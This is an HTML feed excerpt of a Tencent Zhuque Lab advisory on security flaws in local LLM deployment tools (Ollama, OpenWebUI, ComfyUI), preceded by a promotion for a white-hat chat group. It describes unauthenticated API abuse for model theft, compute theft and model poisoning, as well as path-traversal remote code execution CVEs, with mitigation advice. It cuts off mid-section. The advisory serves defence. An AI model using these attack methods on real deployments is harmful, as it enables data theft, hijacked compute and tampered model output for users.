src="https://wechat2rss.xlab.app/img-proxy/?k=8ca4ddf2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FGHet7yDwHiaNgjJhq0X1MBVREAiag5XFqcS6aZGzBicpUo3SMP8eSYIInn5j2sLCkHPG6qbAepasiakJ6XTpnq5pEA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></section></section></section></section><section data-autoskip="1" style="-webkit-tap-highlight-color: transparent;margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1.5px;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;color: rgb(51, 51, 51);visibility: visible;text-align: center;"><strong><span leaf="">     </span></strong></p><section data-autoskip="1" style="-webkit-tap-highlight-color: transparent;margin-bottom: 0px;outline: 0px;font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1.5px;visibility: visible;"><section data-autoskip="1" style="-webkit-tap-highlight-color: transparent;outline: 0px;line-height: 1.75em;visibility: visible;"><p data-start="0" data-end="26"><strong><span leaf="">此为公开群，只为收集大家对想听大佬的投票及大家反馈的建议！</span></strong></p><p data-start="0" data-end="26"><strong><span leaf=""><br/></span></strong></p><p data-start="0" data-end="26" style="text-align: center;"><strong><span leaf=""><span textstyle="" style="font-size: 24px;color: rgb(255, 0, 0);">这个群完全免费，但希望真正有想法、有技术追求的安全人加入！</span></span></strong></p><p data-start="0" data-end="26" style="text-align: center;"><strong><span leaf=""><br/></span></strong></p><p data-start="0" data-end="26"><strong><span leaf="">🎯 </span><strong data-start="3" data-end="21"><span leaf="">白帽黑客访谈交流群正式开放！</span></strong><span leaf=""> 🎯</span></strong></p><p data-start="28" data-end="105"><strong><span leaf="">在上次直播后，很多小伙伴都留言希望有一个</span><strong data-start="48" data-end="57"><span leaf="">专属交流群</span></strong><span leaf="">，可以一起探讨行业大佬的成长经历，分享技术经验，交流挖洞思路，甚至为未来的访谈提供建议！💡</span></strong></p><p data-start="107" data-end="125"><strong><span leaf="">📌 </span><strong data-start="110" data-end="123"><span leaf="">为什么要建这个群？</span></strong></strong></p><p data-start="127" data-end="320"><strong><span leaf="">✅ </span><strong data-start="129" data-end="142"><span leaf="">想听谁，你来决定！</span></strong><span leaf="">——下期嘉宾由你来提名，投票决定你最想听的大佬！</span><span leaf=""><br/></span><span leaf="">✅ </span><strong data-start="171" data-end="183"><span leaf="">访谈提问直通车！</span></strong><span leaf="">——提前收集大家最关心的问题，让嘉宾在访谈中解答你的疑问！</span><span leaf=""><br/></span><span leaf="">✅ </span><strong data-start="217" data-end="233"><span leaf="">技术交流 &amp; 思维碰撞！</span></strong><span leaf="">——群内聚集安全爱好者、漏洞猎人、工具开发者、红蓝对抗专家，共同学习，共同进步！</span><span leaf=""><br/></span><span leaf="">✅ </span><strong data-start="278" data-end="290"><span leaf="">访谈内容不掉队！</span></strong><span leaf="">——错过直播？群内定期整理核心内容，不让你错过任何干货！</span></strong></p><p data-start="127" data-end="320"><strong><span leaf=""><br/></span></strong></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100001231" class="rich_pages wxw-img" data-ratio="1.1510903426791277" data-s="300,640" data-type="png" data-w="642" style="width:351px;height:404px;" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=1e0f1023&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FGHet7yDwHiaNH3Jy2oMHXrMYS50hn6CicqrKm3MwL6d4IGthqaibnbo12VdNsdDONgdQ6km3YQPpibXUxxBYHFoxcA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section></section></section></section></section><p data-start="2163" data-end="2238" style="margin-bottom: 24px;"><span leaf=""><br/></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485652">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e13f761f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485652%26idx%3D1%26sn%3D229f7b67b5b7a753585d83223d557ac6%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 25 Feb 2025 11:17:00 +0800</pubDate>
    </item>
    <item>
      <title>DeepSeek本地化部署有风险！快来看看你中招了吗？</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485650&amp;idx=1&amp;sn=e20f3b5b3a27549b0f3549d813888c73</link>
      <description>DeepSeek的私有化部署真的安全吗？让我们随腾讯安全应急响应中心一起来看看~</description>
      <content:encoded><![CDATA[<p>
<span>腾讯朱雀实验室</span> <span>2025-02-18 10:46</span> <span style="display: inline-block;">广东</span>
</p>

<p>DeepSeek的私有化部署真的安全吗？让我们随腾讯安全应急响应中心一起来看看~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=726d3e80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbemkADibXSTmic6ErSuElQ9c7gZepica2PWSaVyOoGmV5doY0jzWfkLLlVTOHjQm94J0O1F97W5Bbv9w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="503714488" data-ratio="0.18125" data-w="640" data-type="gif" src="https://wechat2rss.xlab.app/img-proxy/?k=244b0f96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FJMH1pEQ7qP4jpMV2Vj3wZOo7FMicC1lHPloKMIicIBoEEhk8YKd1p5Tvdyh9neQBuZRG9M9LBF4iceRNaxKfJw5CA%2F640%3Fwx_fmt%3Dgif"/></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;text-align: justify;"><span style="letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;color: rgb(0, 0, 0);"><span leaf="">2025年伊始，AI领域迎来一个重要变革 - DeepSeek R1开源发布，凭借着低成本、性能出众的优势，这个模型在短短几周内就获得空前关注。由于官网服务经常繁忙，大家开始选择使用Ollama+OpenWebUI、LM Studio等工具进行本地快速部署，从而将AI能力引入企业内网和个人PC环境。</span></span><o:p></o:p></section><section style="text-align: center;margin-bottom: 0px;margin-top: 0px;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="503723223" data-ratio="0.4981481481481482" data-s="300,640" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=522cf7a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJMH1pEQ7qP5zBOhplgtLPSeLtib6pe2JMmQSvzh5UZgZjiaBBDA1WojzAf9qpjBgFrCYKPWPlBQQRfr4qS4ygabg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;text-align: justify;"><span style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;"><span leaf="">近期腾讯朱雀实验室发现：这些广受欢迎的AI工具中普遍存在安全漏洞。如果使用不当，攻击者可能窃取用户数据、滥用算力资源，甚至控制用户设备。</span></span><o:p></o:p></p><p style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;"><span style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;"><span leaf="">文本将介绍这些流行AI工具的安全问题，以及如何使用开源的AI-Infra-Guard一键检测与收敛相关风险。</span></span></p><p style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;"><span style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;"><span leaf=""><br/></span></span></p><section powered-by="xiumi.us" style="margin-top: 10px;margin-bottom: 15px;letter-spacing: 0.578px;white-space: normal;outline: 0px;font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;transform: translate3d(-2px, 0px, 0px);visibility: visible;"><section style="outline: 0px;display: inline-block;min-width: 10%;vertical-align: top;background-color: rgb(0, 82, 217);border-width: 0px;visibility: visible;"><section powered-by="xiumi.us" style="margin-top: 5px;margin-bottom: -5px;outline: 0px;transform: translate3d(5px, 0px, 0px);visibility: visible;"><section style="padding-right: 8px;padding-left: 8px;outline: 0px;display: inline-block;min-width: 10%;vertical-align: top;border-style: solid;border-width: 8px 1px 1px;border-color: rgb(185, 227, 249);background-color: rgb(255, 255, 255);visibility: visible;"><section powered-by="xiumi.us" style="padding-right: 8px;padding-left: 8px;outline: 0px;color: rgb(28, 85, 209);font-size: 14px;text-align: justify;visibility: visible;"><p style="outline: 0px;visibility: visible;"><strong style="outline: 0px;visibility: visible;"><span style="outline: 0px;caret-color: rgb(0, 0, 0);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: normal;"><span leaf="">一、Ollama </span></span></strong></p></section></section></section></section></section><p style="margin: 3pt 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;"><span leaf="">Ollama是一个开源应用程序，允许用户在Windows、Linux和macOS设备上本地部署和操作大型语言模型（LLM），受 Docker 的启发，Ollama 简化了打包和部署 AI 模型的过程， 现在已成为最流行的的个人电脑跑大模型的方案，目前网络上大部分本地部署DeepSeek R1的文章也是推荐的此工具。</span><span leaf=""><br/></span></span></p><section style="margin: 3pt 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;"><span leaf="">Ollama默认启动时会开放11434端口，在此端口上公开使用restful api执行核心功能，例如下载模型，上传模型，模型对话等等。默认情况下ollama只会在本地开放端口，但是在Ollama的docker中，默认会以root权限启动，并且开放到公网上。</span></span><o:p></o:p></section><section style="text-align: center;margin-top: 0px;margin-bottom: 0px;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="503723206" data-ratio="0.6370370370370371" data-s="300,640" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=8cc2d719&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJMH1pEQ7qP5zBOhplgtLPSeLtib6pe2JMJIuxIrhxCSOST0LcGzfjMnKScu2PEv1uJtkw6gmlGgsM3zDiajzasIA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;"><span leaf="">ollama对这些接口普遍没有鉴权，导致攻击者扫描到这些ollama的开放服务后可以进行一系列攻击手段</span></span><span style="color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 0pt;"><span leaf="">。</span></span></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 0pt;"><span leaf=""><br/></span></span></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><o:p></o:p></section><h3 style="margin-top: 0pt;margin-bottom: 0pt;margin-left: 0pt;line-height: 1.6em;"><span style="font-weight: bold;color: rgb(26, 26, 26);letter-spacing: 0pt;vertical-align: baseline;font-size: 16px;"><span leaf="">1）模型删除</span></span><o:p></o:p></h3><p style="margin: 3pt 0pt;font-family: 等线;font-size: 12pt;text-indent: 2em;line-height: 1.6em;"><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">例如，通过</span></span><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">接口删除模型。</span></span><o:p></o:p></p><h3 style="margin-top: 0pt;margin-bottom: 0pt;margin-left: 0pt;line-height: 1.6em;"><span style="font-weight: bold;color: rgb(26, 26, 26);letter-spacing: 0pt;vertical-align: baseline;font-size: 16px;"><span leaf="">2）模型窃取</span></span><o:p></o:p></h3><p style="margin: 3pt 0pt;font-family: 等线;font-size: 12pt;text-indent: 2em;line-height: 1.6em;"><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">通过接口</span></span><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">查看ollama模型。</span></span><o:p></o:p></p><p style="margin: 3pt 0pt;font-family: 等线;font-size: 12pt;text-indent: 2em;line-height: 1.6em;"><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">ollama支持自定义镜像源，自建一个镜像服务器，再通过</span></span><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">接口就能轻松窃取私有模型文件。</span></span><o:p></o:p></p><h3 style="margin-top: 0pt;margin-bottom: 0pt;margin-left: 0pt;line-height: 1.6em;"><span style="font-weight: bold;color: rgb(26, 26, 26);letter-spacing: 0pt;vertical-align: baseline;font-size: 16px;"><span leaf="">3）算力窃取</span></span><o:p></o:p></h3><p style="margin: 3pt 0pt;font-family: 等线;font-size: 12pt;text-indent: 2em;line-height: 1.6em;"><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">通过接口</span></span><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">查看ollama模型。之后便能用</span></span><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">请求对话，窃取了目标机器的算力。</span></span><o:p></o:p></p><h3 style="margin-top: 0pt;margin-bottom: 0pt;margin-left: 0pt;line-height: 1.6em;"><span style="font-weight: bold;color: rgb(26, 26, 26);letter-spacing: 0pt;vertical-align: baseline;font-size: 16px;"><span leaf="">4）模型投毒</span></span><o:p></o:p></h3><p style="margin: 3pt 0pt;font-family: 等线;font-size: 12pt;text-indent: 2em;line-height: 1.6em;"><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">可以通过接口</span></span><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">查看正在运行的模型，接着可以用</span></span><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">下载有毒的模型，通过</span></span><span data-font-family="default" style="font-size: 11pt;letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">删</span></span><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">除正常模型，在通过</span></span><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">接口迁移有毒模型到正常模型路径，通过有毒模型污染使用者的对话。</span></span><o:p></o:p></p><h3 style="margin-top: 0pt;margin-bottom: 0pt;margin-left: 0pt;line-height: 1.6em;"><span style="font-weight: bold;color: rgb(26, 26, 26);letter-spacing: 0pt;vertical-align: baseline;font-size: 16px;"><span leaf="">5）远程命令执行漏洞 CVE-2024-37032</span></span><o:p></o:p></h3><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;text-indent: 2em;line-height: 1.6em;"><span style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;"><span leaf="">ollama在去年6月爆发过严重的远程命令执行漏洞【CVE-2024-37032】是Ollama开源框架中一个严重的路径遍历漏洞，允许远程代码执行（RCE），CVSSv3评分为9.1。该漏洞影响Ollama 0.1.34之前的版本，通过自建镜像伪造manifest文件，实现任意文件读写和远程代码执行。</span></span><o:p></o:p></section><h3 style="margin-top: 0pt;margin-bottom: 0pt;margin-left: 0pt;line-height: 1.6em;"><span style="font-weight: bold;color: rgb(26, 26, 26);letter-spacing: 0pt;vertical-align: baseline;font-size: 16px;"><span leaf=""><br/></span></span></h3><ul style="list-style-type: square;" class="list-paddingleft-1"><li style="color: rgb(171, 25, 66);"><h3 style="line-height: 1.7;margin-top: 0pt;margin-bottom: 0pt;margin-left: 0pt;"><span style="font-weight: bold;letter-spacing: 0pt;vertical-align: baseline;font-size: 16px;color: rgb(171, 25, 66);"><span leaf="">缓解方案</span></span><o:p></o:p></h3></li></ul><p style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;text-indent: 0em;line-height: 1.6em;"><span style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;"><span leaf="">升级到最新版ollama，但是ollama官方目前无任何鉴权方案，运行ollama serve时确认环境变量OLLAMA_HOST为本地地址，避免公网运行。建议本地运行ollama再使用反向代理工具（如Nginx）为服务端增加访问保护</span></span><o:p></o:p></p><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;text-indent: 0em;line-height: 1.6em;"><span style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;"><span leaf="">据统计,目前公网上仍有约4万个未设防的Ollama服务,请检查您的部署是否安全。</span></span></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;text-align: justify;line-height: 1.6em;"><span leaf=""><br/></span></section><section style="text-align: center;margin-top: 0px;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="503723207" data-ratio="0.6037037037037037" data-s="300,640" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=a3c3b6b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJMH1pEQ7qP5zBOhplgtLPSeLtib6pe2JMDic1I6QGiccTZnrAs2Lz4ATwjMibHxmq4nZMEJFnchTblnF6uskx5vajQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section powered-by="xiumi.us" style="margin-top: 10px;margin-bottom: 15px;letter-spacing: 0.578px;white-space: normal;outline: 0px;font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;transform: translate3d(-2px, 0px, 0px);visibility: visible;"><section style="outline: 0px;display: inline-block;min-width: 10%;vertical-align: top;background-color: rgb(0, 82, 217);border-width: 0px;visibility: visible;"><section powered-by="xiumi.us" style="margin-top: 5px;margin-bottom: -5px;outline: 0px;transform: translate3d(5px, 0px, 0px);visibility: visible;"><section style="padding-right: 8px;padding-left: 8px;outline: 0px;display: inline-block;min-width: 10%;vertical-align: top;border-style: solid;border-width: 8px 1px 1px;border-color: rgb(185, 227, 249);background-color: rgb(255, 255, 255);visibility: visible;"><section powered-by="xiumi.us" style="padding-right: 8px;padding-left: 8px;outline: 0px;color: rgb(28, 85, 209);font-size: 14px;text-align: justify;visibility: visible;"><p style="outline: 0px;visibility: visible;"><strong style="outline: 0px;visibility: visible;"><span style="outline: 0px;caret-color: rgb(0, 0, 0);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: normal;"><span leaf="">二、OpenWebUI </span></span></strong></p></section></section></section></section></section><p style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;"><span leaf="">openwebui是现在最流行的大模型对话webui，包含大模型聊天，上传图片，RAG等多种功能且方便与ollama集成。也是现在deepseek本地化部署常见的搭配。openwebui在历史上也出现了不少漏洞，这里挑选几个典型。</span></span><o:p></o:p></p><p style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;"><span leaf=""><br/></span></span></p><h3 style="margin-left: 0pt;margin-top: 0px;margin-bottom: 0px;line-height: 1.6em;"><span style="font-weight: bold;color: rgb(26, 26, 26);letter-spacing: 0pt;vertical-align: baseline;font-size: 16px;"><span leaf="">【CVE-2024-6707】一个文件黑掉你的AI</span></span><o:p></o:p></h3><p style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;text-indent: 2em;line-height: 1.6em;"><span style="font-size: 14px;"><span data-font-family="default" style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">用户通过Open WebUI的HTTP界面点击消息输入框左侧的加号（+）上传文件时，文件会被存储到静态上传目录。上传文件名可伪造，未进行校验，允许攻击者通过构造包含路径遍历字符（如../../）的文件名，将文件上传至任意目录。</span></span><o:p></o:p></span></p><p style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;text-indent: 2em;line-height: 1.6em;"><span style="font-size: 14px;"><span data-font-family="default" style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">攻击者可通过上传恶意模型（如包含Python序列化对象的文件），反序列化后执行任意代码，或通过上传authorized_keys实现远程命令执行。</span></span><o:p></o:p></span></p><p style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;text-indent: 2em;line-height: 1.6em;"><span style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;"><span leaf="">流程图如下：</span></span><o:p></o:p></p><section style="text-align: center;margin-bottom: 0px;margin-top: 0px;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="503723208" data-ratio="3.1444043321299637" data-s="300,640" style="width: 81px;height: 255px;" data-type="jpeg" data-w="277" src="https://wechat2rss.xlab.app/img-proxy/?k=303d4765&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FJMH1pEQ7qP5zBOhplgtLPSeLtib6pe2JMNOH40W0LUj0vXWmjQftKPwVfSfBD0zDeNlCB74ibrFFxrkCgicbLQ8ibw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></section><ul style="list-style-type: square;" class="list-paddingleft-1"><li style="color: rgb(171, 25, 66);"><h3 style="margin-left: 0pt;line-height: 1.6em;margin-bottom: 0px;margin-top: 0px;"><span style="color: rgb(171, 25, 66);"><span style="font-weight: bold;letter-spacing: 0pt;vertical-align: baseline;font-size: 16px;"><span leaf="">缓解方案</span></span><o:p></o:p></span></h3></li></ul><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;"><span leaf="">升级到最新版，避免开启用户系统。</span></span><o:p></o:p></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;"><span leaf=""><br/></span></span></section><section powered-by="xiumi.us" style="margin-top: 10px;margin-bottom: 15px;letter-spacing: 0.578px;white-space: normal;outline: 0px;font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;transform: translate3d(-2px, 0px, 0px);visibility: visible;"><section style="outline: 0px;display: inline-block;min-width: 10%;vertical-align: top;background-color: rgb(0, 82, 217);border-width: 0px;visibility: visible;"><section powered-by="xiumi.us" style="margin-top: 5px;margin-bottom: -5px;outline: 0px;transform: translate3d(5px, 0px, 0px);visibility: visible;"><section style="padding-right: 8px;padding-left: 8px;outline: 0px;display: inline-block;min-width: 10%;vertical-align: top;border-style: solid;border-width: 8px 1px 1px;border-color: rgb(185, 227, 249);background-color: rgb(255, 255, 255);visibility: visible;"><section powered-by="xiumi.us" style="padding-right: 8px;padding-left: 8px;outline: 0px;color: rgb(28, 85, 209);font-size: 14px;text-align: justify;visibility: visible;"><p style="outline: 0px;visibility: visible;"><strong style="outline: 0px;visibility: visible;"><span style="outline: 0px;caret-color: rgb(0, 0, 0);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: normal;"><span leaf="">三、ComfyUI</span><span style="display: none;line-height: 0px;"><span leaf="">‍</span></span></span></strong></p></section></section></section></section></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="font-size: 14px;"><span data-font-family="default" style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">ComfyUI是现在最流行的diffusion模型应用，因其丰富的插件生态和高度定制化节点闻名，常用于文生图、文生视频等领域。</span></span><o:p></o:p></span></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="font-size: 14px;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">ComfyUI和Ollama一样，开发者最初可能只想在本地使用，没有任何鉴权方式，但是也有大量开放到公网的ComfyUI应用。</span></span><o:p></o:p></section><section style="text-align: center;margin-top: 0px;margin-bottom: 0px;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="503723210" data-ratio="0.5055555555555555" data-s="300,640" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=30fe980a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJMH1pEQ7qP5zBOhplgtLPSeLtib6pe2JMqtLTdvGXZwU2Lq9lgGYQ6r8qPV2QDjP7Q4L3lV2NdaBjPxNib5mpBrw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="font-size: 14px;"><span data-font-family="default" style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">ComfyUI因为插件生态闻名，但是插件的作者一般为个人开发者，对安全性没有太多关注，腾讯朱雀实验室在去年就发现多个ComfyUI及其插件漏洞。</span></span><o:p></o:p></span></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="font-size: 14px;"><o:p></o:p></span></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><strong><span style="font-size: 14px;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">朱雀实验室历史发现漏洞：</span></span></strong></section><section style="text-align: center;margin-top: 0px;margin-bottom: 0px;" nodeleaf=""><img data-imgfileid="503723212" class="rich_pages wxw-img" data-ratio="0.5755395683453237" data-s="300,640" data-type="png" data-w="834" src="https://wechat2rss.xlab.app/img-proxy/?k=8d26e6b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJMH1pEQ7qP5zBOhplgtLPSeLtib6pe2JMicDYQ2nnibHvUdtsE74LKNDa4bNicvVQ0GtpVmnzzBVYOx2QDhVUb8J7Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="font-size: 14px;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">以上大部分漏洞影响ComfyUI全系列核心代码(包含目前最新版本)，部分流行插件，影响包括远程命令执行、任意文件读取/写入，数据窃取等。</span></span><o:p></o:p></p><p style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="font-size: 14px;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf=""><br/></span></span></p><ul style="width: 577.421875px;letter-spacing: 0.578px;white-space: normal;list-style-type: square;" class="list-paddingleft-1"><li style="color: rgb(171, 25, 66);"><h3 style="margin-left: 0pt;margin-top: 0px;margin-bottom: 0px;line-height: 1.6em;"><span style="font-weight: bold;letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">缓解方案</span></span><o:p></o:p></h3></li></ul><p style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: 